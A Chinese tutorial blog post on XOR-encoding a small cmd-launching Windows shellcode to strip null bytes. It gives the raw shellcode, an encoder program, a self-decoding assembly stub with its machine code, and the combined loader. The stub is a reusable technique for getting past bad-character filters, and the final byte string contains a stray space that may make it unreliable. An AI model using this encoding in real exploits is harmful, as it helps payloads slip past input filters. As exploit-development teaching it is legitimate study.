shellcode编码之异或

之前实验的时候,弹DOS窗口的shellcode发现有\x00。根据程序要求,shellcode是不能有这样的字符串在里面,否则在使用一些函数(如:strcpy())会产生00截断:

#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
#include"stdlib.h"
char shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
int main(int argc, char* argv[])
{
	__asm
	{
		lea eax,shellcode
		push eax
		ret
	}
	return 0;
}

然后,我们就要用异或对这个shellcode进行编码,参考《0day安全-软件漏洞分析技术》,对于解码,我们可以用以下几条指令实现。

#include <stdio.h>
#define KEY 0x97
void main() 
{ 
	__asm 
	{ 
		add eax, 0x14 //越过 decoder,记录 shellcode 的起始地址 
		xor ecx,ecx 
decode_loop: 
		mov bl,[eax+ecx] 
		xor bl, 0x97 //这里用 0x97 作为 key,如编码的 key 改变,这里也要相应改变 
		mov [eax+ecx],bl 
		inc ecx 
		cmp bl,0x90 //在 shellcode 末尾放上一个字节的 0x90 作为结束符 
		jne decode_loop 
	} 
}

下文再解释该解码器,所以这个时候重新添加\x90,再对shellcode进行编码:

 

#include <stdio.h>
#define KEY 0x97
unsigned char ShellCode[] = "\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D\x90"; 
int main()
{
	int i;
	int nLen;
	unsigned char enShellCode[500]; //编码后的enShellCode
	nLen = sizeof(ShellCode)-1;     //获得ShellCode的长度
	printf("enShellcode=");
	for(i=0; i<nLen; i++)
	{
		enShellCode[i] = ShellCode[i] ^ KEY; //对每一位ShellCode作xor key编码
		printf("\\x%x",enShellCode[i]); //打印出效果
	}
	return 0;
}

运行结果复制下来保存好:

enShellcode=\xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x97\xc7\x1c\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d\x5d\x16\xeb\x68\x44\x1c\x72\xca\x7

然后进入调试模式:

 

将解码器对应的机器码提取出:

\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x97\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1   

将其和shellcode拼接在一起,成功运行:

 

#include "stdafx.h"
#include"stdio.h"
char shellcode[]="\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x97\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1 "
"\xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x97\xc7\x1c\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d\x5d\x16\xeb\x68\x44\x1c\x72\xca\x7";
int main(int argc, char* argv[])
{
	_asm
	{
		lea eax,shellcode
		push eax
		ret
	}
}

好了!现在就是讲解上面解码器的相关知识了:

#include <stdio.h>
#define KEY 0x97
void main() 
{ 
	__asm 
	{ 
		add eax, 0x14 //解密子的长度
		xor ecx,ecx //循环计数器
decode_loop: 
		mov bl,[eax+ecx] 
		xor bl, 0x97 //这里用 0x97 作为 key,如编码的 key 改变,这里也要相应改变 
		mov [eax+ecx],bl 
		inc ecx   //目标操作数+1
		cmp bl,0x90 //在 shellcode 末尾放上一个字节的 0x90 作为结束符 
		jne decode_loop 
	} 
} 

其中0x14是解码器的长度,最开始,我们并不确定。这个时候我们可以随意写一个比较大的数字来装载解码器,然后进入调试模式数出来再修改!

最后一句:

 

其中的0040102d是跳转的绝对地址,但是F1是相对偏移,向前跳时,移动了13个字节,于是75 F1表示jne $-13。这个可以利用kali里面的msf-nasm_shell查看跳转指令对应的机器码。

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值